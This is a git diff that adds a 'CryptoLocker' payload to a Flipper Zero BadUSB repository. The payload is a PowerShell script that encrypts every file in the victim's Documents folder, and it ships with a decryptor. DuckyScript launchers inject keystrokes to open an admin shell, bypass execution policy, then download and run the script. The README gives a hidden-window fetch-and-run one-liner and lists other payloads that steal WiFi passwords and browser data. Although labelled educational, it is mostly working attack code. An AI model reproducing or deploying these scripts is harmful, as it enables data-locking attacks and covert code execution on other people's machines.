diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1 b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1 new file mode 100644 index 0000000..602d2c5 --- /dev/null +++ b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1 @@ -0,0 +1,37 @@ +# Flip-CryptoLocker.ps1 + +function Encrypt-File { + param ( + [Parameter(Mandatory=$true)] + [string]$Path, + + [Parameter(Mandatory=$true)] + [string]$Password + ) + + $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider + $AES.IV = New-Object byte[]($AES.IV.Length) + $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0')) + + $Content = Get-Content -Path $Path -Encoding Byte + $EncryptedContent = $AES.CreateEncryptor().TransformFinalBlock($Content, 0, $Content.Length) + + Set-Content -Path $Path -Value $EncryptedContent -Encoding Byte +} + +# Fixed password for encryption (this is only for demonstration purposes, in a real scenario, you would want to generate or receive a password securely) +$Password = "D3m0P@ssw0rd" + +# Detect the user's documents folder +$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments") + +# Get all the files in the documents folder +$Files = Get-ChildItem -Path $DocumentsFolder -File + +# Encrypt each file +foreach ($File in $Files) { + Encrypt-File -Path $File.FullName -Password $Password + Write-Host "File encrypted: $($File.Name)" +} + +Write-Host "All files in the documents folder have been encrypted!" diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt new file mode 100644 index 0000000..e7686d6 --- /dev/null +++ b/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.txt @@ -0,0 +1,13 @@ +REM Flip-CryptoLocker Launcher +REM Author: ooovenenoso +DELAY 2000 +GUI x +DELAY 2000 +STRING a +DELAY 2000 +LEFTARROW +DELAY 2000 +ENTER +DELAY 4000 +STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1"; Remove-Item "$env:USERPROFILE\Desktop\Flip-CryptoLocker.ps1" -Force +ENTER diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1 b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1 new file mode 100644 index 0000000..d062239 --- /dev/null +++ b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1 @@ -0,0 +1,37 @@ +# Flip-CryptoUnlocker.ps1 + +function Decrypt-File { + param ( + [Parameter(Mandatory=$true)] + [string]$Path, + + [Parameter(Mandatory=$true)] + [string]$Password + ) + + $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider + $AES.IV = New-Object byte[]($AES.IV.Length) + $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0')) + + $EncryptedContent = Get-Content -Path $Path -Encoding Byte + $DecryptedContent = $AES.CreateDecryptor().TransformFinalBlock($EncryptedContent, 0, $EncryptedContent.Length) + + Set-Content -Path $Path -Value $DecryptedContent -Encoding Byte +} + +# Fixed password for decryption (it should be the same one used for encryption) +$Password = "D3m0P@ssw0rd" + +# Detect the user's documents folder +$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments") + +# Get all the files in the documents folder +$Files = Get-ChildItem -Path $DocumentsFolder -File + +# Decrypt each file +foreach ($File in $Files) { + Decrypt-File -Path $File.FullName -Password $Password + Write-Host "File decrypted: $($File.Name)" +} + +Write-Host "All files in the documents folder have been decrypted!" diff --git a/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt new file mode 100644 index 0000000..47a901f --- /dev/null +++ b/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.txt @@ -0,0 +1,13 @@ +REM Flip-CryptoUnlocker Launcher +REM Author: ooovenenoso +DELAY 2000 +GUI x +DELAY 2000 +STRING a +DELAY 2000 +LEFTARROW +DELAY 2000 +ENTER +DELAY 4000 +STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1' -OutFile "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; & "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1"; Remove-Item "$env:USERPROFILE\Desktop\Flip-CryptoUnlocker.ps1" -Force +ENTER diff --git a/Payloads/Flip-CryptoLocker/README.md b/Payloads/Flip-CryptoLocker/README.md new file mode 100644 index 0000000..d1bb73e --- /dev/null +++ b/Payloads/Flip-CryptoLocker/README.md @@ -0,0 +1,118 @@ + + + + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
    2. +
  2. Getting Started
    3. +
  3. Contributing
    4. +
  4. Version History
    5. +
  5. Contact
    6. +
  6. Acknowledgments
    7. +
+
+ +# Flip-CryptoLocker and Unlocker + +Scripts designed for educational purposes to encrypt and decrypt files on a target machine. + +## Description + +The `Flip-CryptoLocker` script encrypts files on the user's machine while the `Flip-CryptoUnlocker` decrypts them. These scripts are designed purely for educational and demonstration purposes. + +## Getting Started + +### Dependencies + +* An internet connection +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload +``` +powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";irm -Uri 'https://raw.githubusercontent.com/ooovenenoso/Flipper-Zero-BadUSB/main/Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1' -O "$D\locker.ps1"; & "$D\locker.ps1" +``` + +

(back to top)

+ +## Contributing + +ooovenenoso + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + + + +
+ + C# + +
YouTube + 		+ + Python + +
Twitter + 		+ + Golang + +
Instagram + 		+ + Jsonnet + +
Discord + 		+ + Jsonnet + +
TikTok +
+
+ +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + +

(back to top)

+ +

+ Github Stats +

diff --git a/README.md b/README.md index 875c729..5092642 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,7 @@ This, in turn, makes it so the user no longer needs to host their own version of | [Wifi Grabber](https://github.com/I-Am-Jakoby/Flipper-Zero-BadUSB/tree/main/Payloads/Flip-WifiGrabber)| Grabs your target's WiFi passwords and uploads them to either Dropbox, Discord, or both. |✅ | Jakoby | | [IP Grabber](https://github.com/I-Am-Jakoby/Flipper-Zero-BadUSB/tree/main/Payloads/Flip-IP-Grabber) | Grabs your target's IP addresses and uploads them to either Dropbox, Discord, or both. |✅ | Jakoby | | [Browser Data](https://github.com/I-Am-Jakoby/Flipper-Zero-BadUSB/tree/main/Payloads/Flip-BrowserData)| This payload can be used to retrieve the browsing history and bookmarks of your target. |✅ | Jakoby | +| [CryptoLocker](https://github.com/ooovenenoso/Flipper-Zero-BadUSB/tree/main/Payloads/Flip-CryptoLocker) | A script designed for educational purposes to encrypt files on a target machine. |✅ | ooovenenoso | ## Contact